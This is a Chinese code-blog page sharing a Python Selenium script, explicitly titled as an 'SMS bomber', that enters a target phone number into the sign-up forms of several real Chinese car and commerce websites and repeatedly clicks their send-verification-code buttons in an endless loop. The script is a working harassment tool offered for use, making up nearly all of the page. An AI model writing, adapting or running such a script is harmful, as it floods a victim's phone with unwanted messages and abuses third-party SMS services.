zoukankan      html  css  js  c++  java
  • python 实现短信轰炸

    from selenium import webdriver
    import time
    # from fake_useragent import UserAgent
    # ua = UserAgent(verify_ssl=False)
    from selenium.webdriver.common.action_chains import ActionChains
    opt = webdriver.ChromeOptions()
    # opt.add_argument('--headless')
    #更换头部
    opt.add_argument('user-agent="%s"' % 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36')
     
    driver = webdriver.Chrome(chrome_options=opt)
     
    class PunchBack:
     
        def __init__(self):
            #放要轰炸的手机号
            self.phone = '*******'
            self.name = 'wocao123456'
            self.password = 'nima789456++..'
            self.num = 0
     
        # 发送验证码
        def send_yzm(self,button,name):
            button.click()
            self.num+=1
            print("{}  第{}次  发送成功  {}".format(self.phone,self.num,name))
     
        # 瓜子注册接口
        def guazi(self,name):
            try:
                driver.implicitly_wait(10)
                driver.get ( "https://www.guazi.com/www/bj/buy" )
                a_btn = driver.find_element_by_xpath ( "//a[@class='uc-my']" )
                a_btn.click ()
                tel = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[1]/input" )
                tel.send_keys ( self.phone )
                button = driver.find_element_by_xpath ( "/html/body/div[2]/form/ul/li[2]/button" )
                self.send_yzm ( button,name )
            except:
                print('本次失败')
        #长安
        def changan(self,name):
            try:
                driver.get ( "http://www.oshanauto.com/member/login?jump=http://www.oshanauto.com/member" )
                driver.implicitly_wait(10)
                tel = driver.find_element_by_xpath ( "/html/body/div[1]/div[2]/div/div/div[1]/div/input" )
                tel.send_keys ( self.phone )
                driver.find_element_by_xpath ( '/html/body/div[1]/div[2]/div/div/div[2]/div/span' ).click()
                button = driver.find_element_by_xpath ("/html/body/div[1]/div[2]/div/div/div[2]/div/span" )
                self.send_yzm ( button,name )
                # self.send_yzm (name)
            except:
                print('本次失败')
     
        # 有赞注册接口
        def youzan(self,name):
            try:
                driver.get('https://www.youzan.com/v2/account?from_source=baidu_pz_shouye_0&')
                driver.implicitly_wait(10)
                driver.find_element_by_xpath('//input[@name="mobile"]').send_keys(self.phone)
                button = driver.find_element_by_xpath('//button[contains(./text(),"获取验证码")]')
                self.send_yzm(button, name)
            except:
                print('本次失败')
        # 弹个车
        def tangeche(self,name):
            for i in range(3):
                driver.get('https://www.tangeche.com/market')
                time.sleep(0.1)
            # driver.implicitly_wait(10)
            driver.find_element_by_xpath('//input[@placeholder="请输入您的手机号"]').send_keys(self.phone)
            button=driver.find_element_by_xpath('//div[contains(./text(),"咨询更多优惠")]')
            self.send_yzm(button,name)
        # 循环执行
        def main(self):
            while True:
                self.changan('长安')
                time.sleep(60)
    if __name__ == '__main__':
        OnePunchMan = PunchBack()
        OnePunchMan.main()
    

      

  • 相关阅读:
    微信小程序开发---各代码文件简介
    LeetCode71. 简化路径
    LeetCode70. 爬楼梯
    LeetCode69. x 的平方根
    LeetCode68. 文本左右对齐
    LeetCode剑指 Offer 09. 用两个栈实现队列
    LeetCode67. 二进制求和
    LeetCode66. 加一
    LeetCode65. 有效数字
    LeetCode64. 最小路径和
  • 原文地址:https://www.cnblogs.com/anle123/p/13447322.html
Copyright © 2011-2022 走看看